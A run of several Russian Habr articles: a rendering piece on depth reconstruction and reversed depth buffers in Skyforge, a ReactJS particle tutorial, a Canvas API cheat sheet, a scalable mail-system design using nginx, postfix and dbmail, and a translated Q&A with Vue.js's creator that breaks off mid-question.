Для быстрой реконструкции позиции мы используем следующее свойство подобных треугольников. *Отношение периметров и длин (либо биссектрис, либо медиан, либо высот, либо серединных перпендикуляров) равно коэффициенту подобия, т.е. в подобных треугольниках соответствующие линии (высоты, медианы, биссектрисы и т. п.) пропорциональны.* Рассмотрим два треугольника: треугольник (P1,P2,P3) и треугольник (P1, P4, P5).
Треугольник (P1,P2,P3) подобен треугольнику (P1, P4, P5).
Таким образом, мы, зная дистанцию (P1-P4) (наша линейная глубина) и гипотенузу (P1,P3), пользуясь подобием треугольников, можем рассчитать дистанцию пикселя до камеры (P1,P5). А зная дистанцию до камеры, позицию камеры и направление взгляда, мы с легкостью можем рассчитать позицию в пространстве камеры. Сама же камера в свою очередь может быть задана в любом пространстве: world space, view space, shadow space и т.д., что дает нам реконструированную позицию в любом нужном нам пространстве.
Итак, еще раз алгоритм по шагам:
1. Преобразование гиперболической глубины в линейную.
2. В вершинном шейдере рассчитываем треугольник (P1, P2, P3).
3. Передаем отрезок (P1,P3) в пиксельный шейдер, через интерполятор.
4. Получаем интерполированный вектор RayDir (P1,P3).
5. Считываем линейную глубину в данной точке.
6. Position = CameraPosition + RayDir \* LinearDepth.
Алгоритм очень быстрый: один интерполятор, одна ALU инструкция MAD и одно чтение глубины. Можно реконструировать позицию в любом удобном однородном пространстве. HLSL код для реконструкции в конце статьи.
Reversed Depth Buffer
=====================
При разработке Skyforge перед нами стояла задача: уметь рисовать локации с очень большой дальностью видимости, порядка 40 км. Вот несколько картинок, иллюстрирующих дистанцию отрисовки.
Для того чтобы избежать Z-fighting при больших значениях Far Plane, мы используем технику reversed depth buffer. Смысл этой техники очень прост: при расчете матрицы проекции необходимо поменять местами Far Plane и Near Plane и инвертировать функцию сравнения глубины на больше или равно (D3DCMP\_GREATEREQUAL). Этот трюк работает, только если менять местами FarPlane и NearPlane в матрице проекции. Трюк не работает, если менять местами параметры вьюпорта или разворачивать глубину в шейдере.
Сейчас я объясню, почему так происходит, и где мы выигрываем в точности расчетов. Чтобы понять, где теряется точность, разберемся, как же работает матрица проекции.
Итак, стандартная матрица проекции. Нас интересует та часть матрицы, которая выделена серым. Z и W компоненты позиции. Как рассчитывается глубина?
```
// умножение позиции на матрицу проекции
float4 postProjectivePosition = mul( float4(pos, 1.0), mtxProjection );
// перспективное деление
float depth = postProjectivePosition.z / postProjectivePosition.w;
```
После умножения позиции на матрицу проекции мы получаем позицию в пост-проективном пространстве. После перспективного деления на W мы получаем позицию в clip space, это пространство задано единичным кубом. Таким образом, получается следующее преобразование.
Для примера рассмотрим Znear и Zfar, дистанция между которыми очень большая, порядка 50 км.
Znear = 0.5
Zfar = 50000.0
Получим следующие две матрицы проекции:
*Стандартная матрица проекции*
*Развернутая матрица проекции*
Глубина после умножения на стандартную матрицу проекции будет равна следующему:
Соответственно, после умножения на развернутую матрицу проекции:
Как мы видим, в случае стандартной матрицы проекции при расчете глубины будет происходить сложение чисел очень разного порядка — десятки тысяч и 0.5. Для сложения чисел разного порядка FPU должен сначала привести их экспоненты к единому значению (большей экспоненте), после чего сложить и нормировать полученную сложением мантису. Фактически на больших значениях z это просто добавляет белый шум в младшие биты мантисы. В случае использования развернутой матрицы проекции такое поведение происходит только вблизи камеры, где из-за гиперболического распределения глубины и так избыточная точность. Вот пример, что получится при значении z = 20 км:
И для развернутой матрицы проекции:
Итого:
* Стандартный 24-битный буфер глубины D24 легко покрывает дальность в 50 км без Z-fighting.
* Reverse depth подходит для любого движка, я бы рекомендовал его использовать во всех проектах.
* Лучше всего закладывать поддержку с начала разработки, т.к. существует много мест, которые, возможно, придется переделать: извлечение плоскостей фрустума из матрицы проекции, bias у теней и т.п.
* Если на целевой платформе доступен float depth буфер, то лучше его использовать. Это еще увеличит точность, т.к. значения будут хранится с большей точностью.
На этом все, спасибо за внимание!
**Литература**
[Naty Hoffman. Crafting Physically Motivated Shading Models for Game Development](http://renderwonk.com/publications/s2010-shading-course/hoffman/s2010_physically_based_shading_hoffman_b.pdf)
[Yoshiharu Gotanda. Physically Based Shading Models in Film and Game Production — Practical implementation at tri-Ace](http://renderwonk.com/publications/s2010-shading-course/gotanda/slide_practical_implementation_at_triace.pdf)
[Emil Persson. Creating Vast Game Worlds](http://www.humus.name/Articles/Persson_CreatingVastGameWorlds.pdf)
[Nickolay Kasyan, Nicolas Schulz, Tiago Sousa. Secrets of CryENGINE 3 Graphics Technology](http://www.crytek.com/download/S2011_SecretsCryENGINE3Tech.ppt)
[Eric Heitz. Understanding the Masking-Shadowing Function](http://blog.selfshadow.com/publications/s2014-shading-course/heitz/s2014_pbs_masking_shadowing_slides.pdf)
[Brian Karis. Real Shading in Unreal Engine 4](http://blog.selfshadow.com/publications/s2013-shading-course/karis/s2013_pbs_epic_slides.pptx)
**HLSL код реконструкции (вершинный шейдер)**
```
// Часть матрицы проекции
float tanHalfVerticalFov; // invProjection.11;
float tanHalfHorizontalFov; // invProjection.00;
// Базис камеры в пространстве реконструкции
float3 camBasisUp;
float3 camBasisSide;
float3 camBasisFront;
// postProjectiveSpacePosition в homogeneous projection space
float3 CreateRay(float4 postProjectiveSpacePosition)
{
float3 leftRight = camBasisSide * -postProjectiveSpacePosition.x * tanHalfHorizontalFov;
float3 upDown = camBasisUp * postProjectiveSpacePosition.y * tanHalfVerticalFov;
float3 forward = camBasisFront;
return (forward + leftRight + upDown);
}
void VertexShader(float4 inPos, out float4 outPos : POSITION, out float3 rayDir : TEXCOORD0)
{
outPos = inPos;
rayDir = CreateRay(inPos);
}
```
**HLSL код реконструкции (пиксельный шейдер)**
```
// Позиция камеры в пространстве реконструкции
float3 camPosition;
float4 PixelShader(float3 rayDir : TEXCOORD0) : COLOR0
{
...
float linearDepth = tex2D(linearDepthSampler, uv).r;
float3 position = camPosition + rayDir * linearDepth;
...
}
// Функция для преобразования глубины с гиперболическим распределением в линейную
float ConvertHyperbolicDepthToLinear(float hyperbolicDepth)
{
return ((zNear / (zNear-zFar)) * zFar) / (hyperbolicDepth - (zFar / (zFar-zNear)));
}
```
**Слайды оригинального доклада**
[www.slideshare.net/makeevsergey/skyforge-rendering-techkri14finalv21](http://www.slideshare.net/makeevsergey/skyforge-rendering-techkri14finalv21) | https://habr.com/ru/post/248873/ | null | ru | null |
# Реализация свободного перемещения частиц на ReactJS
Приветствую! Хочу вам показать один из способов, как реализовать свободное перемещение частиц в указанном диапазоне. Для выполнения этой задачи я буду использовать ReactJS. Но сам алгоритм все равно будет общим, и вы можете его использовать где угодно.
В конце статьи, мы создадим с вами [такую штуку](https://codepen.io/vital-pavlenko/pen/wNRMvp).
Неправильный способ
-------------------
Первое, что приходит в голову для решения этой задачи, это просто рандомить X и Y. Давайте посмотрим, что из этого получится.
Здесь мы просто рандомим сдвиг каждую секунду в промежутке от -50 до 50 по X и по Y:
```
Math.random() * 100 - 50
```
А плавность перехода осуществляется при помощи css свойства transition:
```
transition: transform 1s linear;
```
Как видите – получилось не совсем то, что мы хотели. Конечно можно настроить так, чтобы сдвиг добавлялся к уже существующей позиции, тогда будет больше похоже на правду. Но все равно нам нужно зайти немного с другой стороны.
Правильный способ
-----------------
Предыдущий метод кажется таким кривым по нескольким причинам:
1. В реальности частица не может так резко менять направление.
2. Частица за каждый отрезок времени должна проходить определенное расстояние
И это наводит на мысль, что рандомить нужно именно направление, в котором будет двигаться частица, причем в определенном интервале градусов, чтобы не было резких поворотов. Так мы решим первую проблему.
А для решения второй проблемы, мы будем заранее указывать шаг, на который нужно сдвигать частицу за интервал времени.
Теперь придется вспомнить базовый курс тригонометрии. Нам известна длина `l` и угол `deg`. Нужно найти `X` и `Y`.
> ***sin** — отношение противолежащей стороны к гипотенузе.*
>
> ***cos** — отношение прилежащей стороны к гипотенузе.*
>
>
У нас получатся следующие формулы для вычисления:
```
x = cos(deg) * l
y = sin(deg) * l
```
Но есть одно но. В javaScript `Math.sin` принимает угол в радианах (*значение от -1 до 1*). Поэтому прежде чем пробрасывать угол, нужно его предварительно перевести в радианы.
```
deg(рад) = deg(гр) * Pi / 180
```
Напишем функцию, которая на вход будет получать угол, и расстояние на которое нужно сдвинуть частицу. А возвращать функция будет объект `{ x, y }` c нашими значениями для сдвига.
```
function getShift(deg, step) {
return {
x: +(Math.cos(deg * Math.PI / 180) * step).toFixed(),
y: +(Math.sin(deg * Math.PI / 180) * step).toFixed(),
};
};
```
Потестим, что будет выводить наша функция. Допустим, мы будем каждый раз сдвигать частицу на `10px`. Посмотрим, что вернет `getShift` при разных значениях углов.
```
getShift(30, 10); // {x: 9, y: 5}
getShift(90, 10); // {x: 0, y: 10}
getShift(135, 10); // {x: -7, y: 7}
getShift(210, 10); // {x: -9, y: -5}
getShift(-30, 10); // {x: 9, y: -5}
```
Ну что же, похоже на правду, согласны?
Теперь попробуем исправить наше первое написанное приложение.
Уже неплохо! Осталось реализовать рамки, за которые частица не сможет вылетать. Так как сейчас скорее всего через какое-то время синий круг улетит за пределы экрана.
Для того, чтобы сделать рамки, нужно будет добавить новую константу. А также добавить одно условие. Здесь нам подойдет цикл while. Если на пути встретится ограничение, то мы будем поворачивать угол до тех пор, пока на вывернем от рамки.
Для наглядности добавим желтый квадрат, за пределы которого круг не сможет вылетать. Вот что получилось:
Наш алгоритм полностью готов к использованию. Следующий шаг – это реализация данного алгоритма на ReactJS c использованием его возможностей.
### Переносим алгоритм на ReactJS
При переносе нашего приложения на ReactJS поставим перед собой следующие задачи:
1. Создадим компонент-обертку `MovingPart` в которую можно будет прокинуть что угодно.
2. В состоянии будем хранить значения X и Y, так как только они нужны для перерисовки компонента.
3. Снаружи в компонент будем прокидывать интервал, границу, за которую нельзя выходить и шаг, на который будет сдвигаться элемент за один интервал времени.
4. Отрисуем небольшую красивость с несколькими компонентами `MovingPart`, для того, чтобы примерно представить, где это может применяться в реальной жизни
В результате получим следующий пример:
Исходные данные будем брать из массива `data`.
После этого описываем компонент `MovingPart`:
* **Интервал (interval), расстояние (distance) и сдвиг за один шаг (step)** получаем снаружи из props;
* **Максимальный поворот при движении (maxRotate) и текущий угол сдвига (deg)** определяем внутри элемента;
* **Значения x и y** выносим в состояние компонента;
* **Метод getShift** определяем как внутренний метод компонента.
После этого с помощью цикла `map` рендерим все элементы, оборачивая их нашим созданным компонентом `MovingPart`.
Спасибо за внимание! Это была моя первая статья на хабре, надеюсь она будет полезна. Пробуйте, экспериментируйте. | https://habr.com/ru/post/440874/ | null | ru | null |
# Памятка по работе с Canvas API
Доброго времени суток, друзья!
Данная статья представляет собой небольшую подборку примеров работы с Canvas API, к которой удобно обращаться при необходимости вспомнить изученный материал.
Это не руководство по работе с холстом, а лишь демонстрация его возможностей.
Для меня это также своего рода промежуточный итог в изучении холста.
Код разбит на отдельные блоки-песочницы, которые для удобства чтения помещены под «кат».
Парочка важных моментов.
Ширину и высоту холста лучше определять с помощью атрибутов:
```
```
Если мы хотим, чтобы холстом была вся область просмотра, то делаем следующее:
```
const width = canvas.width = innerWidth
const height = canvas.height = innerHeight
```
Холст и двумерный контекст рисования я обычно определяю следующим образом:
```
const canvas = document.querySelector('canvas')
// не путать с объектом jQuery
const $ = canvas.getContext('2d')
```
Довольно слов.
Начнем с простых фигур.
---
**Линия:**
---
**Прямоугольник (квадрат):**
---
**Треугольник:**
---
**Круг:**
---
**Кривые Безье:**
---
**Квадратичные кривые:**
---
**Кубические кривые:**
---
Проведем несколько экспериментов.
---
**Цвет линий:**
---
**Цвет заливки:**
---
**Прозрачность (альфа-канал):**
---
**Прозрачность (RGBA):**
---
Двигаемся дальше.
---
**Текст:**
---
**Метрики текста (шрифта):**
---
**Градиент:**
---
**Изображение:**
---
**Узор (шаблон):**
---
Реализуем несколько функций.
---
**Функция рисования многоугольников:**
---
**Функция рисования снежинок:**
---
**Функция переноса текста:**
Автор: Омар Хайям.
---
**Функция получения координат курсора:**
---
Двигаемся дальше.
---
**Определяем цвета изображения:**
Подходящее (по цветам и размеру) изображение находится здесь: [harryheman.github.io/art.jpg](https://harryheman.github.io/art.jpg).
---
**Рисуем значок загрузки:**
---
**Реализуем слежение за курсором:**
---
**Создаем интерактивный текст:**
---
Смотрите также:
* [Реализуем визуальный эффект из фильма «Матрица»](https://habr.com/ru/post/485404/)
* [Пишем Pixel Art Maker на JavaScript](https://habr.com/ru/post/495772/)
* [Работаем с аудио: прогресс и визуализация данных](https://habr.com/ru/post/487574/)
* [Любовь + холст = сердце](https://habr.com/ru/post/488284/)
Спасибо за потраченное время. Надеюсь, оно было потрачено не зря. | https://habr.com/ru/post/500530/ | null | ru | null |
# Архитектура масштабируемой почтовой системы
В этой статье мы рассматриваем один из вариантов реализации масштабируемой архитектуры большой почтовой системы.
6 декабря 2012 г. Google прекратил регистрацию новых аккаунтов для бесплатной версии Google Apps.
У клиентов [нашей компании](http://centos-admin.ru) постоянно возникает потребность в электронной почте, обслуживающей их сайты.
Раньше мы настраивали им Google Apps, но после 6 декабря, изучив предлагаемые на рынке решения, решили, что настала пора строить собственную почтовую систему.
Как известно, аппетит приходит во время еды. Если уж решились строить что-то свое, то тогда стоит сразу закладывать возможности для роста.
Для проектируемой почтовой системы были сформулировали следующие требования:
* масштабируемость (неограниченное количество обслуживаемых доменов, общий объем почтовых ящиков 100 терабайт и больше);
* отказоустойчивость (все промежуточные сервисы должны быть продублированы);
* расширяемость (добавление новых узлов в систему должно быть легким и простым).
##### Начали с выбора хранилища под письма...
На самом деле выбор был небольшой:
* dovecot/cyrus с хранением в файловой системе через maildir/mailbox;
* dbmail с хранением в базе данных.
После оценки количества сервисов, предоставляемых «из коробки», а также изучения нюансов использования, нами было решено остановиться на [dbmail](http://dbmail.org).
Вот краткий список вкусностей, которые предоставляет dbmail:
* доступ к ящикам через IMAP, POP3;
* sieve-скрипты для сортировки почты;
* прием почты через smtp и lmtp протоколы;
* администрирование через cli и SQL-запросы.
В качестве MTA был выбран postfix. Поскольку мы давно с ним работаем, с уверенностью полагаем его вполне быстрой, гибкой и легко настраиваемой программой. Тем более, что на сайте dbmail есть инструкция по настройке связки postfix+dbmail.
А балансировщиком нагрузки работает лучший прокси всех времен и народов: nginx.
Web-интерфейс к почтовым ящикам может предоставлять любая из десятков доступных программ. Для начало было решено воспользоваться на RoundCube.
##### В итоге начала вырисовываться следующая архитектура проекта:
1. На переднем крае у нас запущен nginx с включенным модулем Mail, он принимает от клиентов коннекты по протоколам SMTP, IMAP, POP3 и, на основании имени пользователя и пароля, проксирует коннект на нужный сервер.
2. В глубине обороны работает множество postfix и dbmail, каждый из которых обслуживает свои домены.
Для внешнего мира все это выглядит как один большой почтовый сервер.
##### В теории масштабируемость достигнута, теперь задача реализовать.
Каждый модуль системы будет работать в своем контейнере OpenVZ. По мере увеличения нагрузки, мы будем клонировать/переносить контейнеры на новые физические серверы.
В отдельные контейнеры положим nginx, postfix с различными фильтрами почты, dbmail и хранилище писем в MySQL базе данных разместим в одном контейнере, так как dbmail не должен сильно загружать процессор, а объемы данных, передаваемые между dbmail и mysql будут большими (дублирование данных в хранилище писем будем реализовывать через механизм MySQL репликации master-slave, организуя для каждого dbmail-модуля свой hotbackup-модуль).
Так же, для удобства, в отдельные контейнеры можно выделить веб-серверы с roundcube и панелью управления всей системой.
Все контейнеры общаются между собой по локальной сети с «серыми» адресами.
Реальные интернет адреса планировалось выдать только nginx-контейнерам.
В процессе установки и настройки nginx выяснилось, что SMTP-сессии без авторизации он проксировать не умеет. Решение данной проблемы немного изменило первоначально планируемую архитектуру проекта, что привело к повышению отказоустойчивости и расширяемости. Мы отказались от проксирования SMTP трафика через nginx, и решили, что postfix-модули будут получать его напрямую.
Все postfix-модули системы сделали одинаковыми, каждый со своим реальным IP-адресом, а определяем какому именно dbmail-модулю передавать почту через transport\_maps.
В итоге любой postfix-модуль может принять почту для любого домена в системе, применить различные фильтры и доставить в нужное хранилище.
Балансироваться они будут через round-robin записи в DNS:
```
nginx1 IN A 1.1.2.1
nginx2 IN A 1.1.2.2
postfix1 IN A 1.1.1.1
postfix2 IN A 1.1.1.2
postfix3 IN A 1.1.1.3
mx1 IN A 1.1.1.1
IN A 1.1.1.2
IN A 1.1.1.3
mx2 IN A 1.1.1.2
IN A 1.1.1.3
IN A 1.1.1.1
mx3 IN A 1.1.1.3
IN A 1.1.1.2
IN A 1.1.1.1
imap IN A 1.1.2.1
IN A 1.1.2.2
pop3 IN A 1.1.2.1
IN A 1.1.2.2
smtp IN CNAME mx1
_spf IN TXT "v=spf1 ip4:1.1.1.1 ip4:1.1.1.2 ip4:1.1.1.3 ?all"
```
В домене клиента добавляются необходимые записи:
```
@ IN MX 10 mx1.dbmail.io.
@ IN MX 20 mx2.dbmail.io.
@ IN MX 30 mx3.dbmail.io.
@ IN TXT "v=spf1 a mx include:_spf.dbmail.io -all"
```
Почтовые клиенты пользователей настраиваются на прием почты с pop3.dbmail.io или imap.dbmail.io, а отправку почты через smtp.dbmail.io
Не дублированными и уникальными остались только dbmail-модули, но из напрямую интернета они не доступны, поэтому необходимости в динамическом распределении нагрузки на них пока нет.
Каждый из dbmail-модулей хранит почту для нескольких доменов, если ресурсы модуля будут заканчиваться,
часть доменов можно выселить в отдельный модуль.
А в дальнейшем есть планы перейти на хранение почты в какой-либо выделенной кластерной базе данных и унифицировать dbmail-модули.
##### В итоге получилась вот такая масштабируемая отказоустойчивая и расширяемая почтовая система:
Все элементы нашей почтовой системы общаются между собой по стандартным протоколам и, как наивно представлялось, — все должно было заработать сразу и без необходимости строить подпорки.
К сожалению, конструкцию пришлось допиливать напильником.
Историю настройки и отладки читайте в следующих статьях. | https://habr.com/ru/post/167051/ | null | ru | null |
# Создатель Vue.js отвечает Хабру
Всех с пятницей!
Как и обещали, публикуем ответы Эвана Ю (Evan You) на вопросы, которые мы ~~долго и мучительно~~ собирали в [предыдущем посте](https://habrahabr.ru/post/349494/), а также русскоязычном [Vue чате](https://t.me/vuejs_ru) в Telegram.
В общем о Vue
-------------
***В:** Какова самая уникальная киллер-фича Vue.js?*
**O:** Прогрессивная адаптивность: ты можешь использовать его как замену jQuery или создавать приложения любой сложности, используя CLI, роутер и Vuex.
***В:** Каковы самые слабые места Vue?*
**O:** На данный момент, наверное, недружественность к типизации. Наш API разрабатывался без планирования поддержки типизированных языков (типа TypeScript), но мы сделали большие улучшения в 2.5.
***В:** React называет себя библиотекой, Angular — фреймфорком. Почему Vue позиционирует себя как фреймфорк?*
**O:** «Прогрессивный фреймворк» означает, что его можно использовать как библиотеку ИЛИ как фреймворк, по твоему желанию. У нас есть части фреймворка (CLI, роутер, паттерны управления состоянием), но никто не заставляет их использовать, если они не требуются. (см. более подробное [видео](https://www.youtube.com/watch?v=p2P3z7p_zTI) (eng) — *прим. пер.*)
***В:** Является ли Vue полноценной заменой React/Angular или это нишевый фреймворк?*
**O:** Да, он может быть полной заменой. Это не нишевый фреймворк.
***В:** Какой ожидаемый жизненный цикл Vue.js? Смогут ли Веб Компоненты (Web Components) / VanillaJS заменить JS фреймворки в ближайшем будущем?*
**O:** Мы растем довольно быстро, и сейчас находимся в относительно стабильном / зрелом состоянии. Нет, я не думаю, что Веб-компоненты когда-либо заменят фреймворки. Они являются лишь низкоуровнивыми строительными блоками. Даже если ты используешь их уже сегодня, ты, скорее всего, вынужден использовать Polymer, который \*является\* фреймворком над Веб-компонентами. У него есть собственные дополнительные API, паттерны, библиотеки и инструменты. Преимущества Веб-компонентов, в основном, в совместимости между фреймворками или сторонних пакетах (3rd party distribution). Внутри же приложения, они не дают ничего нового в сравнении с существующими моделями компонентов (на самом деле, они могут меньше). VanillaJS имеет смысл, только если ты можешь позволить себе потратить вечность на разработку проекта.
***В:** Какова политика Vue относительно deprecation, несовместимых изменений и обратной совместимости?*
**O:** Мы следуем [semver](https://semver.org/lang/ru). Мы можем объявить фичи устаревшими в минорных релизах, но на самом деле они не будут удалены, так что ваше приложение не сломается. Мы достаточно осторожно относимся к мажорным версиям / несовместимым изменениям и не планируем их в ближайшем будущем.
***В:** Какова рекомендуемая структура кода для Vue: ООП или ФП/Декларативный подход?*
**O:** Ни первое, ни второе. Я думаю, бессмысленно натягивать высокоуровневые парадигмы на код UI. Выбирайте удачные идеи обоих. Но если ты действительно хочешь выбрать сторону Vue, то, думаю, там будет чуть больше ООП.
***В:** Формы — сильная черта у Angular и слабая у React. Как хорошо работает Vue со сложными формами?*
**O:** У Vue есть встроенная двусторонняя привязка (binding) в виде v-model, который очень похож на ngModel у Angular. Также возможно строить Angular-подобные библиотеки валидации поверх, и [несколько](https://github.com/vuejs/awesome-vue#validation) уже есть в экосистеме.
***В:** Какие самые большие конкуренты Vue в Китае?*
**O:** React and Angular весьма популярны в Китае. Кроме них, на самом деле, других нет.
***В:** Ходят слухи, что Vue определяет, что запущен бенчмарк, и специально завышает результаты тестов (привет, VolksWagen!) Твои комментарии?*
**O:** Слухи без доказательств остаются лишь слухами ;) Код Vue.js в открытом доступе, поэтому, если такой код есть, его легко можно найти.
Сторонние инструменты
---------------------
***В:** Какие перспективы у Weex? Стоит ли начинать работать с Weex уже сейчас? Или лучше сконцентрироваться на работе с NativeScript-Vue?*
**O:** Weex — надежная технология, т.к. она широко используется внутри Alibaba. Просто, в отличие от других, они не выделяют много ресурсов на документацию / поддержку разработчиков. NativeScript-Vue имеет лучшую документацию и обратную связь с разработчиками. Я не стану давать однозначные рекомендации, потому что ваш выбор должен определяться командой/продуктом/окружением. Чтобы узнать полный потенциал этих технологий, нужно попробовать обе.
***В:** Что ты думаешь о Nuxt?*
**O:** Nuxt — отличная штука. Если нужен SSR под Vue — используй его, если не хочешь настраивать все самостоятельно (есть еще фреймворк-независимые альтернативы типа [Razzle](https://github.com/jaredpalmer/razzle) — *прим. пер.*)
***В:** Что ты думаешь о Quasar Framework для Vue.js как об аналоге ReactNative для React.js?*
**O:** Нет. Quasar больше похож на Ionic для Vue, так как основан на Cordova / WebView.
***В:** Что думаешь об интеграции с Logux и распределенных типах данных в целом? Намечается ли ли здесь следующая революция?*
**O:** К сожалению, я не знаком с Logux.
***В:** Будет ли поддержка языка программирования Kotlin во Vue (SFC, плагины и т.д.)?*
**O:** Мне не известно ни о чем подобном.
Документация
------------
***В:** Примеры в официальной документации Vue.js не всегда понятны из-за того, что их невозможно запустить прямо на странице. Если планы по интеграции CodePen или JSFiddle в официальную документацию Vue.js?*
**O:** Хорошее предложение. Возможно, мы рассмотрим его, когда у нас будет больше времени.
***В:** Как делить макет страницы на компоненты перед началом разработки? Есть ли что-то вроде «Списка критериев Компонента» от Эвана Ю?*
**O:** Это невозможно, все приложения — разные.
***В:** Есть ли единое официальное руководство по программному стилю вроде руководства Angular от Джона Папы (John Papa)?*
**O:** [ru.vuejs.org/v2/style-guide](https://ru.vuejs.org/v2/style-guide)
***В:** Существуют ли официальные инструкции по миграции на Vue с других фреймворков?*
**O:** На этот вопрос трудно ответить, не зная, с каких именно технологий идет миграция.
***В:** Как превратить приложение на Vue в Web Component?*
**O:** При помощи консольной утилиты [vue-cli версии 3](https://github.com/vuejs/vue-cli/blob/dev/docs/build-targets.md#web-component)
***В:** В официальной документации Vue.js рекомендуемой опцией компилятора TypeScript является «module»: «es2015». Насколько допустимо использование «module»: «amd», «module»: «system».*
**O:** Эта рекомендация основана на предположении, что используется упаковщик совместимый с ES module, такой как webpack или rollup. Лично я больше не использую AMD или System, поэтому не могу ответить на этот вопрос. Мое общее предложение — не используй их, если не знаешь, что делаешь. Поскольку ты все же задаешь этот вопрос — используй мейнстрим (т.e. настройки по умолчанию — *прим. пер.*).
***В:** Когда будут выпущены спецификации для построений AST для шаблонов?*
**O:** Не думаю, что у нас есть такие планы. Нам понадобится очень убедительный сценарий использования, чтобы рассмотреть такое решение.
Запросы фич
-----------
***В:** Будет ли возможно использовать компилятор однофайловых компонентов без модульных бандлеров?*
**O:** Да, у нас есть компилятор SFC (Однофайловых компонентов), мы надеемся что его можно будет использовать для создания внешних или внутрибраузерных компиляторов.
***В:** Будет ли шаблон для генерации библиотек добавлен в vue-cli?*
**O:** vue-cli 3 можно использовать и для [создания библиотек](https://github.com/vuejs/vue-cli/blob/dev/docs/build-targets.md#library).
***В:** Фрагменты из React версии 16.2 хорошо себя зарекомендовали. Будет ли что-то похожее у Vue.js?*
**O:** Да, хоть и не в ближайшем будущем, т.к. потребуется много изменений в текущем алгоритме нахождения различий (diffing algorithm). React'у для этого потребовалось полностью переписать все в течение почти 2х лет.
***В:** Будет ли во Vuex поддержка обработки middleware между actions и mutation?*
**O:** Маловероятно. Скорее всего, мы будем избавляться от различий между действиями (actions) и мутациями (mutations).
***В:** Когда запуск команды `npm run lint` будет поддерживать autofix?*
**O:** vue-cli 3 уже это поддерживает. Ты также можешь самостоятельно изменить команду, добавив флаг `--fix`.
***В:** React недавно выпустил асинхронный рендеринг aka Fiber. Какой будет ответ Vue? Является ли Vue по-прежнему самым быстрым из всех троих фреймворков?*
**O:** Асинхронность не делает React быстрее. Она лишь используется в определенных сценариях, чтобы задать приоритет обновлений для лучшей видимой производительности. В механизме обновлений Vue уже есть возможность симулировать некоторые из этих сценариев, но нам нужно открыть соответствующий API, чтобы сделать их использование простым.
Вкратце: мы не планируем создавать полный эквивалент Fiber, но мы предоставим API для некоторых новшеств, появившихся в нем.
***В:** Будет ли во Vue.js добавлена возможность рендера одного и того же слота в компоненте дважды как это позволяет делать React?*
```
// [Предупреждение Vue]: Duplicate presence of slot "default" found in the same render tree - this will likely cause render errors.
...content
...content
...content
```
```
// в React работает без пробем
...content
{this.props.children}
...conent
{this.props.children}
...content
```
**O:** Хотя React это позволяет, я не думаю, что это хорошая идея.
***В:** Поддерживает ли Vue единый репозиторий для приложений масштаба энтерпрайз вроде Nrwl Extention в Angular?*
**O:** Это проблема организации проекта, она пока вне наших интересов.
Пожалуйста, порекомендуй
------------------------
***В:** Сейчас Vue.js можно выполнять валидацию форм двумя различными способами:
— декларативный, когда все правила описываются как директивы в разметке;
— императивный, когда все правила описываются в коде соответствующего Vue-экземпляра
Планируется ли сделать какой-либо из этих способом реализацией по-умолчанию в Vue.js? Или оба способа сразу?*
**O:** Нет, потому что лучше иметь несколько конкурирующих решений неоднозначной проблемы.
***В:** Чем и как лучше всего тестировать Vue? Avoriaz рекомендует перейти на vue-test-tools, но последний все еще бета.*
**O:** @vue/test-utils заменит Avoriaz. Используйте @vue/test-utils.
***В:** Cостояние (state) Vuex reactive/observable, как и любые данные компоненты Vue. Если бы не наследие Flux, возможно было бы манипулировать им напрямую (даже если это плохая идея)?*
**O:** Если требуется реактивное состояние хранилища, которым можно будет манипулировать напрямую, — просто используй непримонтированный экземпляр Vue.
***В:** Существуют ли планы или рекомендации для компонент по возврату нескольких корневых нод (root nodes)? Возможен ли такой списочный («list-based») подход хотя бы в теории?*
**O:** Да, мы [планируем](https://github.com/vuejs/vue/issues/7088) это, но потребуется некоторое время.
***В:** Твои идеи по поводу повторного использования, наследования и тюнинга компонент во время запуска? Есть ли какие-нибудь проверенные подходы и решения?*
**O:** Извини, но это слишком большая тема, чтобы ответить здесь :)
Коммьюнити
----------
***В:** Vue впитал в себя много фишек Angular и React. Какие отношения у Vue с сообществами Angular и React?*
**O:** На самом деле я довольно часто общаюсь с сообществом React. Мне нравятся все их хорошие идеи. Однако я не знаком с таким количеством людей из сообщества Angular.
***В:** Я хочу внести свою лепту в развитие Vue. В каких областях нужна моя помощь?*
**O:** Начни отвечать на вопросы других! Это могут быть обсуждения на GitHub, чат в Discord или StackOverflow (или Тостер — *прим. пер.*). Нужно помнить, что отвечать нужно максимально понятно. Обычно, чтобы лучше разобраться в проблеме, может потребоваться перечитать документацию или даже исходники. Занимаясь этим какое-то время, ты начнешь понимать Vue гораздо лучше и сможешь решить больше проблем на Github, помогая с примерами кода, поиском источников багов и даже созданием фиксов и новых фич.
***В:** Какие самые крупные конференции, митапы и мероприятия по Vue, которые стоит посетить?*
**O:** Мы только что провели Vue.js конференцию в Амстердаме в феврале этого года. И планируем провести ее там же в следующем году. Также в марте этого года состоится конференция VueConf в US. По всему миру проводятся достаточно много конференций — стоит только поискать рядом с тем местом, где ты живешь ([Vue в Москве](https://www.meetup.com/vue-js-moscow) — *прим. пер.*).
Планы на будущее
----------------
***В:** Ведется ли работа над Vue 3.0? Если да, то каковы ключевые изменения?*
**O:** У нас есть планы на 3.0, но пока что ничего определенного. Ближайший большой релиз — это ветка 2.x-next, которая полностью совместима по возможностям с 2.x, но в ней внутренняя система реактивности переписана на [ES2015 Прокси](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Proxy). Это улучшит производительность и позволит избавиться от некоторых ограничений существующей реализации (например, отслеживание изменений в объектах и массивах — *прим. пер.*). Мы прекратим поддержку IE11 и ниже, но позволим использовать последние возможности ES2015 для более эффективного кода.
***В:** Доступ к родительским компонентам (через $parent) позволяет неопытным разработчикам делать ужасные ошибки. Что ты думаешь на этот счет? Планируется ли когда-либо убрать такой доступ (например, в версии 3.0)?*
**O:** Маловероятно, что мы уберём его, поскольку он бывает полезен в определённых ситуациях. Всегда можно запретить доступ к родителю с помощью статического анализа, например с помощью пользовательского правила (custom rule) для ESLint.
О себе
------
***В:** Давай уйдем в сторону от IT-тематики. Суммируя свой опыт, какими знаниями ты можешь поделиться? Какие у тебя интересы и как они сочетаются с программированием? Какой совет ты бы дал людям в целом и разработчикам в частности?*
**O:** У меня художественное образование, я учился программированию, по большей части, самостоятельно. Наверное, из-за этого я склонен ценить практичные и легко изучаемые решения. Со временем я также понял, что чаще всего программирование — это выбор правильных компромиссов. Думаю, мой совет не должен быть слишком категоричным — будьте практичны и будьте готовы к компромиссам.
***В:** Сколько часов в день ты посвящаешь работе над Vue.js?*
